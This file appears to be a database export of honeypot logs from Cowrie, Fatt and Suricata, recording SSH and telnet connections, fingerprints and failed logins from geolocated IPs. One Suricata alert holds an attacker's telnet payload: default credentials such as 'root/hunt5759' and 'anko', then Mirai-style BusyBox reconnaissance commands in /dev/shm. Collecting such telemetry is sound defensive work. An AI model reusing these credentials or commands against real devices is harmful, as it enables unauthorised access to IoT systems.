20610	42.63.158.253	109.199.241.180	Fatt	2021-09-20 14:04:55.142211+03	2021-09-20 14:15:02.591648+03	{"_id": "-gXhAnwBvYTbRNuEXPka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53205, "dest_port": 22, "timestamp": "2021-09-20T11:04:55.142211", "@timestamp": "2021-09-20T11:04:55.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20611	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:55.142809+03	2021-09-20 14:15:02.592649+03	{"_id": "-wXhAnwBvYTbRNuEXPlT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "02098b2841c8", "@version": "1", "timestamp": "2021-09-20T11:04:55.142809Z", "@timestamp": "2021-09-20T11:04:55.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20612	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:04:55.141908+03	2021-09-20 14:15:02.593614+03	{"_id": "-AXhAnwBvYTbRNuEW_mE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "flow_id": 1070595405434471, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53205, "dest_port": 22, "timestamp": "2021-09-20T11:04:55.141908Z", "@timestamp": "2021-09-20T11:04:55.141Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20613	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:54.797274+03	2021-09-20 14:15:02.595642+03	{"_id": "-QXhAnwBvYTbRNuEXPka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.63.158.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53205, "timestamp": "2021-09-20T11:04:54.797274", "@timestamp": "2021-09-20T11:04:54.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20614	5.188.62.248	109.199.241.180	Cowrie	2021-09-20 14:05:02.796255+03	2021-09-20 14:15:02.596614+03	{"_id": "NQXhAnwBvYTbRNuEd_qw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.248", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ba926a234821", "@version": "1", "duration": 1.3219757080078125, "timestamp": "2021-09-20T11:05:02.796255Z", "@timestamp": "2021-09-20T11:05:02.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20615	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:05:02.835912+03	2021-09-20 14:15:02.597643+03	{"_id": "NgXhAnwBvYTbRNuEd_qw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "98000530affb", "@version": "1", "duration": 2.3069472312927246, "timestamp": "2021-09-20T11:05:02.835912Z", "@timestamp": "2021-09-20T11:05:02.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20616	177.64.206.208	109.199.241.180	Suricata	2021-09-20 14:04:38.000958+03	2021-09-20 14:15:02.598643+03	{"_id": "OQXhAnwBvYTbRNuEfvqx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 28, "pkts_toserver": 24, "bytes_toclient": 4316, "bytes_toserver": 1672}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "category": "A suspicious filename was detected", "metadata": {"created_at": ["2016_08_08"], "deployment": ["Datacenter"], "updated_at": ["2016_08_08"], "attack_target": ["Server"], "former_category": ["TELNET"], "performance_impact": ["Low"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET HUNTING SUSPICIOUS Path to BusyBox", "signature_id": 2023016}, "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "src_ip": "177.64.206.208", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1686684836317294, "payload": "cm9vdA0K//4BaHVudDU3NTkNCjY2NjY2Ng0K//4BNjY2NjY2DQpyb290DQr//gEwMDAwMDAwMA0Kcm9vdA0K//4BYW5rbw0KZW5hYmxlDQpzeXN0ZW0NCnNoZWxsDQpzaA0KY2F0IC9wcm9jL21vdW50czsgL2Jpbi9idXN5Ym94IFJJVUpSDQpjZCAvZGV2L3NobTsgY2F0IC5zIHx8IGNwIC9iaW4vZWNobyAuczsgL2Jpbi9idXN5Ym94IFJJVUpSDQp0ZnRwOyB3Z2V0OyAvYmluL2J1c3lib3ggUklVSlINCmRkIGJzPTUyIGNvdW50PTEgaWY9LnMgfHwgY2F0IC5zIHx8IHdoaWxlIHJlYWQgaTsgZG8gZWNobyAkaTsgZG9uZSA8IC5zDQo=", "@version": "1", "metadata": {"flowbits": ["ET.telnet.busybox"]}, "src_port": 58833, "app_proto": "failed", "dest_port": 23, "timestamp": "2021-09-20T11:04:38.000958Z", "@timestamp": "2021-09-20T11:04:38.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "root\\r\\n...hunt5759\\r\\n666666\\r\\n...666666\\r\\nroot\\r\\n...00000000\\r\\nroot\\r\\n...anko\\r\\nenable\\r\\nsystem\\r\\nshell\\r\\nsh\\r\\ncat /proc/mounts; /bin/busybox RIUJR\\r\\ncd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIUJR\\r\\ntftp; wget; /bin/busybox RIUJR\\r\\ndd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s\\r\\n"}}	1	\N	\N	alert	\N	\N
20617	5.188.62.248	109.199.241.180	Cowrie	2021-09-20 14:05:01.735385+03	2021-09-20 14:15:02.600645+03	{"_id": "MgXhAnwBvYTbRNuEdPoS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.248", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "ba926a234821", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:05:01.735385Z", "@timestamp": "2021-09-20T11:05:01.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20618	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:02.172842+03	2021-09-20 14:15:02.601643+03	{"_id": "MwXhAnwBvYTbRNuEd_qw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l | head -c 30", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l | head -c 30", "session": "02098b2841c8", "@version": "1", "timestamp": "2021-09-20T11:05:02.172842Z", "@timestamp": "2021-09-20T11:05:02.172Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20619	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:02.522269+03	2021-09-20 14:15:02.603614+03	{"_id": "NwXhAnwBvYTbRNuEd_qw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 28, "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515", "src_ip": "42.63.158.253", "ttylog": "log/tty/8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515 after 0 seconds", "session": "02098b2841c8", "@version": "1", "duration": 0.3500499725341797, "duplicate": true, "timestamp": "2021-09-20T11:05:02.522269Z", "@timestamp": "2021-09-20T11:05:02.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20620	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:02.525963+03	2021-09-20 14:15:02.604644+03	{"_id": "OAXhAnwBvYTbRNuEd_qw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "02098b2841c8", "@version": "1", "duration": 7.729822397232056, "timestamp": "2021-09-20T11:05:02.525963Z", "@timestamp": "2021-09-20T11:05:02.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20621	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:57.336122+03	2021-09-20 14:15:02.605612+03	{"_id": "BwXhAnwBvYTbRNuEZPol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.63.158.253:53513 (192.168.176.2:22) [session: bf4c337235b6]", "session": "bf4c337235b6", "@version": "1", "protocol": "ssh", "src_port": 53513, "dest_port": 22, "timestamp": "2021-09-20T11:04:57.336122Z", "@timestamp": "2021-09-20T11:04:57.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20622	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:54.793519+03	2021-09-20 14:15:02.607612+03	{"_id": "9AXhAnwBvYTbRNuEWPm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.63.158.253:53205 (192.168.176.2:22) [session: 02098b2841c8]", "session": "02098b2841c8", "@version": "1", "protocol": "ssh", "src_port": 53205, "dest_port": 22, "timestamp": "2021-09-20T11:04:54.793519Z", "@timestamp": "2021-09-20T11:04:54.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20623	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:05:22.818402+03	2021-09-20 14:15:02.608613+03	{"_id": "WAXhAnwBvYTbRNuExfoJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32849, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2324, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 324420001495114, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59882, "timestamp": "2021-09-20T11:05:22.818402Z", "@timestamp": "2021-09-20T11:05:22.818Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20624	222.187.254.41	109.199.241.180	Cowrie	2021-09-20 14:05:22.146875+03	2021-09-20 14:15:02.610643+03	{"_id": "YAXhAnwBvYTbRNuExvok", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.187.254.41", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.187.254.41", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 222.187.254.41:11104 (192.168.176.2:22) [session: c728cae21de2]", "session": "c728cae21de2", "@version": "1", "protocol": "ssh", "src_port": 11104, "dest_port": 22, "timestamp": "2021-09-20T11:05:22.146875Z", "@timestamp": "2021-09-20T11:05:22.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20625	222.187.254.41	109.199.241.180	Cowrie	2021-09-20 14:05:22.147575+03	2021-09-20 14:15:02.611642+03	{"_id": "XwXhAnwBvYTbRNuExvok", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.187.254.41", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.187.254.41", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "c728cae21de2", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:05:22.147575Z", "@timestamp": "2021-09-20T11:05:22.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20626	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:22.148108+03	2021-09-20 14:15:02.613644+03	{"_id": "ZAXhAnwBvYTbRNuExvok", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "222.187.254.41", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 11104, "timestamp": "2021-09-20T11:05:22.148108", "@timestamp": "2021-09-20T11:05:22.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
